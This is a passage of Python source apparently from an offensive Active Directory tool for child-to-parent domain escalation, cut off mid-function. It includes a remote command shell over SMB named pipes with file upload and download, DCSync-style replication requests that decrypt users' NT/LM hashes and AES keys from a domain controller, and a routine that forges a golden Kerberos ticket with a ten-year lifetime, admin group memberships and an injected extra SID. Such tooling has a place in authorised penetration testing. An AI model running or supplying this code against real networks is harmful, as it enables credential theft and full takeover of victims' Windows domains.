self.openPipe(s,tid,r'\\RemCom_communicaton',0x12019f)\n\n            packet = RemComMessage()\n            pid = os.getpid()\n\n            packet['Machine'] = ''.join([random.choice(string.ascii_letters) for _ in range(4)])\n            if self.__path is not None:\n                packet['WorkingDir'] = self.__path\n            packet['Command'] = self.__command\n            packet['ProcessID'] = pid\n\n            s.writeNamedPipe(tid, fid_main, packet.getData())\n\n            # Here we'll store the command we type so we don't print it back ;)\n            # ( I know.. globals are nasty :P )\n            global LastDataSent\n            LastDataSent = ''\n\n            # Create the pipes threads\n            stdin_pipe = RemoteStdInPipe(rpctransport,\n                                         r'\\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']),\n                                         smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, self.__TGS,\n                                         installService.getShare())\n            stdin_pipe.start()\n            stdout_pipe = RemoteStdOutPipe(rpctransport,\n                                           r'\\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']),\n                                           smb.FILE_READ_DATA)\n            stdout_pipe.start()\n            stderr_pipe = RemoteStdErrPipe(rpctransport,\n                                           r'\\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']),\n                                           smb.FILE_READ_DATA)\n            stderr_pipe.start()\n            \n            # And we stay here till the end\n            ans = s.readNamedPipe(tid,fid_main,8)\n\n            if len(ans):\n                retCode = RemComResponse(ans)\n                logging.info(\"Process %s finished with ErrorCode: %d, ReturnCode: %d\" % (\n                self.__command, retCode['ErrorCode'], retCode['ReturnCode']))\n            installService.uninstall()\n            if self.__copyFile is not None:\n                # We copied a file for execution, let's remove it\n                s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile))\n            unInstalled = True\n            sys.exit(retCode['ErrorCode'])\n\n        except SystemExit:\n            raise\n        except Exception as e:\n            logging.debug(str(e))\n            if unInstalled is False:\n                installService.uninstall()\n                if self.__copyFile is not None:\n                    s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile))\n            sys.stdout.flush()\n            sys.exit(1)\n\n    def openPipe(self, s, tid, pipe, accessMask):\n        pipeReady = False\n        tries = 50\n        while pipeReady is False and tries > 0:\n            try:\n                s.waitNamedPipe(tid,pipe)\n                pipeReady = True\n            except:\n                tries -= 1\n                time.sleep(2)\n                pass\n\n        if tries == 0:\n            raise Exception('Pipe not ready, aborting')\n\n        fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80)\n\n        return fid\n\nclass Pipes(Thread):\n    def __init__(self, transport, pipe, permissions, TGS=None, share=None):\n        Thread.__init__(self)\n        self.server = 0\n        self.transport = transport\n        self.credentials = transport.get_credentials()\n        self.tid = 0\n        self.fid = 0\n        self.share = share\n        self.port = transport.get_dport()\n        self.pipe = pipe\n        self.permissions = permissions\n        self.TGS = TGS\n        self.daemon = True\n\n    def connectPipe(self):\n        try:\n            lock.acquire()\n            global dialect\n            self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(),\n                                        sess_port=self.port, preferredDialect=dialect)\n            user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials\n            self.server.login(user, passwd, domain, lm, nt)\n            lock.release()\n            self.tid = self.server.connectTree('IPC$') \n\n            self.server.waitNamedPipe(self.tid, self.pipe)\n            self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80)\n            self.server.setTimeout(1000000)\n        except Exception:\n            logging.critical(\"Something wen't wrong connecting the pipes(%s), try again\" % self.__class__)\n\nclass RemoteStdOutPipe(Pipes):\n    def __init__(self, transport, pipe, permisssions):\n        Pipes.__init__(self, transport, pipe, permisssions)\n\n    def run(self):\n        self.connectPipe()\n        while True:\n            try:\n                ans = self.server.readFile(self.tid,self.fid, 0, 1024)\n            except:\n                pass\n            else:\n                try:\n                    global LastDataSent\n                    if ans != LastDataSent:\n                        sys.stdout.write(ans.decode('cp437'))\n                        sys.stdout.flush()\n                    else:\n                        # Don't echo what I sent, and clear it up\n                        LastDataSent = ''\n                    # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,\n                    # it will give false positives tho.. we should find a better way to handle this.\n                    if LastDataSent > 10:\n                        LastDataSent = ''\n                except:\n                    pass\n\nclass RemoteStdErrPipe(Pipes):\n    def __init__(self, transport, pipe, permisssions):\n        Pipes.__init__(self, transport, pipe, permisssions)\n\n    def run(self):\n        self.connectPipe()\n        while True:\n            try:\n                ans = self.server.readFile(self.tid,self.fid, 0, 1024)\n            except:\n                pass\n            else:\n                try:\n                    sys.stderr.write(str(ans))\n                    sys.stderr.flush()\n                except:\n                    pass\n\nclass RemoteShell(cmd.Cmd):\n    def __init__(self, server, port, credentials, tid, fid, TGS, share):\n        cmd.Cmd.__init__(self, False)\n        self.prompt = '\\x08'\n        self.server = server\n        self.transferClient = None\n        self.tid = tid\n        self.fid = fid\n        self.credentials = credentials\n        self.share = share\n        self.port = port\n        self.TGS = TGS\n        self.intro = '[!] Press help for extra shell commands'\n\n    def connect_transferClient(self):\n        self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port,\n                                            preferredDialect=dialect)\n        user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials\n        self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGS=self.TGS, useCache=False)\n\n    def do_help(self, line):\n        print(\"\"\"\n lcd {path}                 - changes the current local directory to {path}\n exit                       - terminates the server process (and this session)\n put {src_file, dst_path}   - uploads a local file to the dst_path RELATIVE to the connected share (%s)\n get {file}                 - downloads pathname RELATIVE to the connected share (%s) to the current local dir \n ! {cmd}                    - executes a local shell cmd\n\"\"\" % (self.share, self.share))\n        self.send_data('\\r\\n', False)\n\n    def do_shell(self, s):\n        os.system(s)\n        self.send_data('\\r\\n')\n\n    def do_get(self, src_path):\n        try:\n            if self.transferClient is None:\n                self.connect_transferClient()\n\n            import ntpath\n            filename = ntpath.basename(src_path)\n            fh = open(filename,'wb')\n            logging.info(\"Downloading %s\\\\%s\" % (self.share, src_path))\n            self.transferClient.getFile(self.share, src_path, fh.write)\n            fh.close()\n        except Exception as e:\n            logging.error(str(e))\n            pass\n\n        self.send_data('\\r\\n')\n \n    def do_put(self, s):\n        try:\n            if self.transferClient is None:\n                self.connect_transferClient()\n            params = s.split(' ')\n            if len(params) > 1:\n                src_path = params[0]\n                dst_path = params[1]\n            elif len(params) == 1:\n                src_path = params[0]\n                dst_path = '/'\n\n            src_file = os.path.basename(src_path)\n            fh = open(src_path, 'rb')\n            f = dst_path + '/' + src_file\n            pathname = f.replace('/','\\\\')\n            logging.info(\"Uploading %s to %s\\\\%s\" % (src_file, self.share, dst_path))\n            if PY3:\n                self.transferClient.putFile(self.share, pathname, fh.read)\n            else:\n                self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read)\n            fh.close()\n        except Exception as e:\n            logging.error(str(e))\n            pass\n\n        self.send_data('\\r\\n')\n\n\n    def do_lcd(self, s):\n        if s == '':\n            print(os.getcwd())\n        else:\n            try:\n                os.chdir(s)\n            except Exception as e:\n                logging.error(str(e))\n        self.send_data('\\r\\n')\n\n    def emptyline(self):\n        self.send_data('\\r\\n')\n        return\n\n    def default(self, line):\n        if PY3:\n            self.send_data(line.encode('cp437')+b'\\r\\n')\n        else:\n            self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\\r\\n')\n\n    def send_data(self, data, hideOutput = True):\n        if hideOutput is True:\n            global LastDataSent\n            LastDataSent = data\n        else:\n            LastDataSent = ''\n        self.server.writeFile(self.tid, self.fid, data)\n\nclass RemoteStdInPipe(Pipes):\n    def __init__(self, transport, pipe, permisssions, TGS=None, share=None):\n        Pipes.__init__(self, transport, pipe, permisssions, TGS, share)\n\n    def run(self):\n        self.connectPipe()\n        shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.TGS, self.share)\n        shell.cmdloop()\n\nclass RAISECHILD:\n    def __init__(self, target = None, username = '', password = '', domain='', options = None, command=''):\n        self.__rid = 0\n        self.__targetRID = options.targetRID\n        self.__target = target\n        self.__kdcHost = None\n        self.__command = command\n        self.__writeTGT = options.w\n        self.__domainSid = ''\n        self.__doKerberos = options.k\n        self.__drsr = None\n        self.__ppartialAttrSet = None\n        self.__creds = {}\n\n        self.__creds['username'] = username\n        self.__creds['password'] = password\n        self.__creds['domain'] = domain\n        self.__creds['lmhash'] = ''\n        self.__creds['nthash'] = ''\n        self.__creds['aesKey'] = options.aesKey\n        self.__creds['TGT'] =  None\n        self.__creds['TGS'] =  None\n\n        #if options.dc_ip is not None:\n        #    self.__kdcHost = options.dc_ip\n        #else:\n        #    self.__kdcHost = domain\n        self.__kdcHost = None\n\n        if options.hashes is not None:\n            lmhash, nthash = options.hashes.split(':')\n            self.__creds['lmhash'] = unhexlify(lmhash)\n            self.__creds['nthash'] = unhexlify(nthash)\n\n        # Transform IP addresses into FQDNs\n        if self.__target is not None:\n            self.__target = self.getDNSMachineName(self.__target)\n            logging.debug('getDNSMachineName for %s returned %s' % (target, self.__target))\n\n    NAME_TO_ATTRTYP = {\n        'objectSid': 0x90092,\n        'userPrincipalName': 0x90290,\n        'sAMAccountName': 0x900DD,\n        'unicodePwd': 0x9005A,\n        'dBCSPwd': 0x90037,\n        'supplementalCredentials': 0x9007D,\n    }\n\n    ATTRTYP_TO_ATTID = {\n        'objectSid': '1.2.840.113556.1.4.146',\n        'userPrincipalName': '1.2.840.113556.1.4.656',\n        'sAMAccountName': '1.2.840.113556.1.4.221',\n        'unicodePwd': '1.2.840.113556.1.4.90',\n        'dBCSPwd': '1.2.840.113556.1.4.55',\n        'supplementalCredentials': '1.2.840.113556.1.4.125',\n    }\n\n    KERBEROS_TYPE = {\n        1:'dec-cbc-crc',\n        3:'des-cbc-md5',\n        17:'aes128-cts-hmac-sha1-96',\n        18:'aes256-cts-hmac-sha1-96',\n        0xffffff74:'rc4_hmac',\n    }\n\n    HMAC_SHA1_96_AES256 = 0x10\n\n    def getChildInfo(self, creds):\n        logging.debug('Calling NRPC DsrGetDcNameEx()')\n        target = creds['domain']\n        if self.__doKerberos is True:\n            # In Kerberos we need the target's name\n            machineNameOrIp = self.getDNSMachineName(gethostbyname(target))\n            logging.debug('%s is %s' % (gethostbyname(target), machineNameOrIp))\n        else:\n            machineNameOrIp = target\n\n        stringBinding = r'ncacn_np:%s[\\pipe\\netlogon]' % machineNameOrIp\n\n        rpctransport = transport.DCERPCTransportFactory(stringBinding)\n\n        if hasattr(rpctransport, 'set_credentials'):\n            rpctransport.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'],\n                                         creds['nthash'], creds['aesKey'])\n            if self.__doKerberos or creds['aesKey'] is not None:\n                rpctransport.set_kerberos(True)\n\n        dce = rpctransport.get_dce_rpc()\n        dce.connect()\n        dce.bind(MSRPC_UUID_NRPC)\n\n        resp = hDsrGetDcNameEx(dce, NULL, NULL, NULL, NULL, 0)\n        #resp.dump()\n        return resp['DomainControllerInfo']['DomainName'][:-1], resp['DomainControllerInfo']['DnsForestName'][:-1]\n\n    @staticmethod\n    def getMachineName(machineIP):\n        try:\n            s = SMBConnection(machineIP, machineIP)\n            s.login('', '')\n        except OSError as e:\n            if str(e).find('timed out') > 0:\n                raise Exception('The connection is timed out. Probably 445/TCP port is closed. Try to specify '\n                                'corresponding NetBIOS name or FQDN instead of IP address')\n            else:\n                raise\n        except SessionError as e:\n            if str(e).find('STATUS_NOT_SUPPORTED') > 0:\n                raise Exception('The SMB request is not supported. Probably NTLM is disabled. Try to specify '\n                                'corresponding NetBIOS name or FQDN as the value of the -dc-host option.')\n            else:\n                raise\n        except Exception:\n            logging.debug('Error while anonymous logging into %s' % machineIP)\n        else:\n            s.logoff()\n        return s.getServerName()\n\n    @staticmethod\n    def getDNSMachineName(machineIP):\n        try:\n            s = SMBConnection(machineIP, machineIP)\n            s.login('', '')\n        except OSError as e:\n            if str(e).find('timed out') > 0:\n                raise Exception('The connection is timed out. Probably 445/TCP port is closed. Try to specify '\n                                'corresponding NetBIOS name or FQDN instead of IP address.')\n            else:\n                raise\n        except SessionError as e:\n            if str(e).find('STATUS_NOT_SUPPORTED') > 0:\n                raise Exception('The SMB request is not supported. Probably NTLM is disabled. Try to specify '\n                                'corresponding NetBIOS name or FQDN as the value of the -dc-host option.')\n            else:\n                raise\n        except Exception:\n            logging.debug('Error while anonymous logging into %s' % machineIP)\n        else:\n            s.logoff()\n        return s.getServerName() + '.' + s.getServerDNSDomainName()\n\n    def getParentSidAndTargetName(self, parentDC, creds, targetRID):\n        if self.__doKerberos is True:\n            # In Kerberos we need the target's name\n            machineNameOrIp = self.getDNSMachineName(gethostbyname(parentDC))\n            logging.debug('%s is %s' % (gethostbyname(parentDC), machineNameOrIp))\n        else:\n            machineNameOrIp = gethostbyname(parentDC)\n\n        logging.debug('Calling LSAT hLsarQueryInformationPolicy2()')\n        stringBinding = r'ncacn_np:%s[\\pipe\\lsarpc]' % machineNameOrIp\n\n        rpctransport = transport.DCERPCTransportFactory(stringBinding)\n\n        if hasattr(rpctransport, 'set_credentials'):\n            rpctransport.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'],\n                                         creds['nthash'], creds['aesKey'])\n            rpctransport.set_kerberos(self.__doKerberos)\n\n        dce = rpctransport.get_dce_rpc()\n        dce.connect()\n        dce.bind(MSRPC_UUID_LSAT)\n\n        resp = hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | POLICY_LOOKUP_NAMES)\n        policyHandle = resp['PolicyHandle']\n\n        resp = hLsarQueryInformationPolicy2(dce, policyHandle, POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)\n\n        domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()\n\n        # Now that we have the Sid, let's get the Administrator's account name\n        sids = list()\n        sids.append(domainSid+'-'+targetRID)\n        resp = hLsarLookupSids(dce, policyHandle, sids, LSAP_LOOKUP_LEVEL.LsapLookupWksta)\n        targetName = resp['TranslatedNames']['Names'][0]['Name']\n\n        return domainSid, targetName\n\n    def __connectDrds(self, domainName, creds):\n        if self.__doKerberos is True or creds['TGT'] is not None:\n            # In Kerberos we need the target's name\n            machineNameOrIp = self.getDNSMachineName(gethostbyname(domainName))\n            logging.debug('%s is %s' % (gethostbyname(domainName), machineNameOrIp))\n        else:\n            machineNameOrIp = gethostbyname(domainName)\n        stringBinding = epm.hept_map(machineNameOrIp, drsuapi.MSRPC_UUID_DRSUAPI,\n                                     protocol='ncacn_ip_tcp')\n        rpc = transport.DCERPCTransportFactory(stringBinding)\n        if hasattr(rpc, 'set_credentials'):\n            # This method exists only for selected protocol sequences.\n            if creds['TGT'] is not None:\n                rpc.set_credentials(creds['username'],'', creds['domain'], TGT=creds['TGT'])\n                rpc.set_kerberos(True)\n            else:\n                rpc.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'],\n                                    creds['nthash'], creds['aesKey'])\n                rpc.set_kerberos(self.__doKerberos)\n        self.__drsr = rpc.get_dce_rpc()\n        self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)\n        if self.__doKerberos or creds['TGT'] is not None:\n            self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)\n        self.__drsr.connect()\n        self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI)\n\n        request = drsuapi.DRSBind()\n        request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID\n        drs = drsuapi.DRS_EXTENSIONS_INT()\n        drs['cb'] = len(drs) #- 4\n        drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 |\\\n                         drsuapi.DRS_EXT_STRONG_ENCRYPTION\n        drs['SiteObjGuid'] = drsuapi.NULLGUID\n        drs['Pid'] = 0\n        drs['dwReplEpoch'] = 0\n        drs['dwFlagsExt'] = 0\n        drs['ConfigObjGUID'] = drsuapi.NULLGUID\n        drs['dwExtCaps'] = 127\n        request['pextClient']['cb'] = len(drs.getData())\n        request['pextClient']['rgb'] = list(drs.getData())\n        resp = self.__drsr.request(request)\n\n        # Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of\n        # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.\n        drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()\n\n        # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.\n        ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\\x00' * (\n        len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])\n        drsExtensionsInt.fromString(ppextServer)\n\n        if drsExtensionsInt['dwReplEpoch'] != 0:\n            # Different epoch, we have to call DRSBind again\n            if logging.getLogger().level == logging.DEBUG:\n                logging.debug(\"DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again\" % drsExtensionsInt[\n                    'dwReplEpoch'])\n            drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']\n            request['pextClient']['cb'] = len(drs)\n            request['pextClient']['rgb'] = list(drs.getData())\n            resp = self.__drsr.request(request)\n\n        self.__hDrs = resp['phDrs']\n\n        # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges\n        resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, domainName, 2)\n\n        if resp['pmsgOut']['V2']['cItems'] > 0:\n            self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']\n        else:\n            logging.error(\"Couldn't get DC info for domain %s\" % domainName)\n            raise Exception('Fatal, aborting')\n\n    def DRSCrackNames(self, target, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME,\n                      formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name='', creds=None):\n        if self.__drsr is None:\n            self.__connectDrds(target, creds)\n\n        resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,))\n        return resp\n\n    def __decryptSupplementalInfo(self, record, prefixTable=None):\n        # This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures\n        plainText = None\n        for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']:\n            try:\n                attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])\n                LOOKUP_TABLE = self.ATTRTYP_TO_ATTID\n            except Exception as e:\n                logging.debug('Failed to execute OidFromAttid with error %s' % e)\n                # Fallbacking to fixed table and hope for the best\n                attId = attr['attrTyp']\n                LOOKUP_TABLE = self.NAME_TO_ATTRTYP\n\n            if attId == LOOKUP_TABLE['supplementalCredentials']:\n                if attr['AttrVal']['valCount'] > 0:\n                    blob = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])\n                    plainText = drsuapi.DecryptAttributeValue(self.__drsr, blob)\n                    if len(plainText) < 24:\n                        plainText = None\n\n        if plainText:\n            try:\n                userProperties = samr.USER_PROPERTIES(plainText)\n            except:\n                # On some old w2k3 there might be user properties that don't\n                # match [MS-SAMR] structure, discarding them\n                return\n            propertiesData = userProperties['UserProperties']\n            for propertyCount in range(userProperties['PropertyCount']):\n                userProperty = samr.USER_PROPERTY(propertiesData)\n                propertiesData = propertiesData[len(userProperty):]\n                if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys':\n                    propertyValueBuffer = unhexlify(userProperty['PropertyValue'])\n                    kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer)\n                    data = kerbStoredCredentialNew['Buffer']\n                    for credential in range(kerbStoredCredentialNew['CredentialCount']):\n                        keyDataNew = samr.KERB_KEY_DATA_NEW(data)\n                        data = data[len(keyDataNew):]\n                        keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']]\n\n                        if  keyDataNew['KeyType'] in self.KERBEROS_TYPE:\n                            # Give me only the AES256\n                            if keyDataNew['KeyType'] == 18:\n                                return hexlify(keyValue)\n\n        return None\n\n    def __decryptHash(self, record, prefixTable=None):\n        logging.debug('Decrypting hash for user: %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])\n        rid = 0\n        LMHash = None\n        NTHash = None\n        for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']:\n            try:\n                attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])\n                LOOKUP_TABLE = self.ATTRTYP_TO_ATTID\n            except Exception as e:\n                logging.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e)\n                # Fallbacking to fixed table and hope for the best\n                attId = attr['attrTyp']\n                LOOKUP_TABLE = self.NAME_TO_ATTRTYP\n            if attId == LOOKUP_TABLE['dBCSPwd']:\n                if attr['AttrVal']['valCount'] > 0:\n                    encrypteddBCSPwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])\n                    encryptedLMHash = drsuapi.DecryptAttributeValue(self.__drsr, encrypteddBCSPwd)\n                else:\n                    LMHash = LMOWFv1('', '')\n            elif attId == LOOKUP_TABLE['unicodePwd']:\n                if attr['AttrVal']['valCount'] > 0:\n                    encryptedUnicodePwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])\n                    encryptedNTHash = drsuapi.DecryptAttributeValue(self.__drsr, encryptedUnicodePwd)\n                else:\n                    NTHash = NTOWFv1('', '')\n            elif attId == LOOKUP_TABLE['objectSid']:\n                if attr['AttrVal']['valCount'] > 0:\n                    objectSid = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])\n                    rid = unpack('<L', objectSid[-4:])[0]\n                else:\n                    raise Exception('Cannot get objectSid for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])\n\n        if LMHash is None:\n            LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid)\n        if NTHash is None:\n            NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid)\n        return rid, hexlify(LMHash), hexlify(NTHash)\n\n    def DRSGetNCChanges(self, userEntry, creds):\n        if self.__drsr is None:\n            self.__connectDrds(creds)\n\n        request = drsuapi.DRSGetNCChanges()\n        request['hDrs'] = self.__hDrs\n        request['dwInVersion'] = 8\n\n        request['pmsgIn']['tag'] = 8\n        request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid\n        request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid\n\n        dsName = drsuapi.DSNAME()\n        dsName['SidLen'] = 0\n        dsName['Guid'] = drsuapi.NULLGUID\n        dsName['Sid'] = ''\n        dsName['NameLen'] = len(userEntry)\n        dsName['StringName'] = (userEntry + '\\x00')\n\n        dsName['structLen'] = len(dsName.getData())\n\n        request['pmsgIn']['V8']['pNC'] = dsName\n\n        request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0\n        request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0\n\n        request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL\n\n        request['pmsgIn']['V8']['ulFlags'] =  drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP\n        request['pmsgIn']['V8']['cMaxObjects'] = 1\n        request['pmsgIn']['V8']['cMaxBytes'] = 0\n        request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ\n        if self.__ppartialAttrSet is None:\n            self.__prefixTable = []\n            self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT()\n            self.__ppartialAttrSet['dwVersion'] = 1\n            self.__ppartialAttrSet['cAttrs'] = len(self.ATTRTYP_TO_ATTID)\n            for attId in list(self.ATTRTYP_TO_ATTID.values()):\n                self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId))\n        request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet\n        request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable)\n        request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable\n        request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL\n\n        return self.__drsr.request(request)\n\n    def getCredentials(self, userName, domain, creds = None):\n        upn = '%s@%s' % (userName, domain)\n        try:\n            crackedName = self.DRSCrackNames(domain, drsuapi.DS_NAME_FORMAT.DS_USER_PRINCIPAL_NAME, name = upn, creds=creds)\n\n            if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:\n                if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] == 0:\n                    userRecord = self.DRSGetNCChanges(\n                        crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1], creds)\n                    # userRecord.dump()\n                    if userRecord['pmsgOut']['V6']['cNumObjects'] == 0:\n                        raise Exception('DRSGetNCChanges didn\\'t return any object!')\n                else:\n                    raise Exception('DRSCrackNames status returned error 0x%x' %\n                                    crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'])\n            else:\n                raise Exception('DRSCrackNames returned %d items for user %s' % (\n                crackedName['pmsgOut']['V1']['pResult']['cItems'], userName))\n\n            rid, lmhash, nthash = self.__decryptHash(userRecord, userRecord['pmsgOut']['V6']['PrefixTableSrc']['pPrefixEntry'])\n            aesKey = self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut']['V6']['PrefixTableSrc']['pPrefixEntry'])\n        except Exception as e:\n            logging.debug('Exception:', exc_info=True)\n            logging.error(\"Error while processing user!\")\n            logging.error(str(e))\n            raise\n\n        self.__drsr.disconnect()\n        self.__drsr = None\n        creds = {}\n        creds['lmhash'] = lmhash\n        creds['nthash'] = nthash\n        creds['aesKey'] = aesKey\n        return rid, creds\n\n    @staticmethod\n    def makeGolden(tgt, originalCipher, sessionKey, ntHash, aesKey, extraSid):\n        asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0]\n\n        # Let's extract Ticket's enc-data\n        cipherText = asRep['ticket']['enc-part']['cipher']\n\n        cipher = _enctype_table[asRep['ticket']['enc-part']['etype']]\n        if cipher.enctype == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:\n            key = Key(cipher.enctype, unhexlify(aesKey))\n        elif cipher.enctype == constants.EncryptionTypes.rc4_hmac.value:\n            key = Key(cipher.enctype, unhexlify(ntHash))\n        else:\n            raise Exception('Unsupported enctype 0x%x' % cipher.enctype)\n\n        # Key Usage 2\n        # AS-REP Ticket and TGS-REP Ticket (includes TGS session\n        # key or application session key), encrypted with the\n        # service key (Section 5.3)\n        plainText = cipher.decrypt(key, 2, cipherText)\n        #hexdump(plainText)\n\n        encTicketPart = decoder.decode(plainText, asn1Spec = EncTicketPart())[0]\n\n        # Let's extend the ticket's validity a lil bit\n        tenYearsFromNow = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=365*10)\n        encTicketPart['endtime'] = KerberosTime.to_asn1(tenYearsFromNow)\n        encTicketPart['renew-till'] = KerberosTime.to_asn1(tenYearsFromNow)\n        #print encTicketPart.prettyPrint()\n\n        adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec =AD_IF_RELEVANT())[0]\n        #print adIfRelevant.prettyPrint()\n\n        # So here we have the PAC\n        pacType = PACTYPE(adIfRelevant[0]['ad-data'].asOctets())\n        buffers = pacType['Buffers']\n        pacInfos = {}\n\n        for nBuf in range(pacType['cBuffers']):\n            infoBuffer = PAC_INFO_BUFFER(buffers)\n            data = pacType['Buffers'][infoBuffer['Offset']-8:][:infoBuffer['cbBufferSize']]\n            pacInfos[infoBuffer['ulType']] = data\n            buffers = buffers[len(infoBuffer):]\n\n        # Let's locate the KERB_VALIDATION_INFO and Checksums\n        if PAC_LOGON_INFO in pacInfos:\n            data = pacInfos[PAC_LOGON_INFO]\n            validationInfo = VALIDATION_INFO()\n            validationInfo.fromString(pacInfos[PAC_LOGON_INFO])\n            lenVal = len(validationInfo.getData())\n            validationInfo.fromStringReferents(data, lenVal)\n\n            if logging.getLogger().level == logging.DEBUG:\n                logging.debug('VALIDATION_INFO before making it gold')\n                validationInfo.dump()\n                print ('\\n')\n\n            # Our Golden Well-known groups! :)\n            groups = (513, 512, 520, 518, 519)\n            validationInfo['Data']['GroupIds'] = list()\n            validationInfo['Data']['GroupCount'] = len(groups)\n\n            for group in groups:\n                groupMembership = GROUP_MEMBERSHIP()\n                groupId = NDRULONG()\n                groupId['Data'] = group\n                groupMembership['RelativeId'] = groupId\n                groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED\n                validationInfo['Data']['GroupIds'].append(groupMembership)\n\n            # Let's add the extraSid\n            if validationInfo['Data']['SidCount'] == 0:\n                # Let's be sure user's flag specify we have extra sids.\n                validationInfo['Data']['UserFlags'] |= 0x20\n                validationInfo['Data']['ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY()\n\n            validationInfo['Data']['SidCount'] += 1\n\n            sidRecord = KERB_SID_AND_ATTRIBUTES()\n\n            sid = RPC_SID()\n            sid.fromCanonical(extraSid)\n\n            sidRecord['Sid'] = sid\n            sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED\n\n            # And, let's append the magicSid\n            validationInfo['Data']['ExtraSids'].append(sidRecord)\n\n            validationInfoBlob = validationInfo.getData()+validationInfo.getDataReferents()\n            validationInfoAlignment = b'\\x00' * (((len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob))\n\n            if logging.getLogger().level == logging.DEBUG:\n                logging.debug('VALIDATION_INFO after 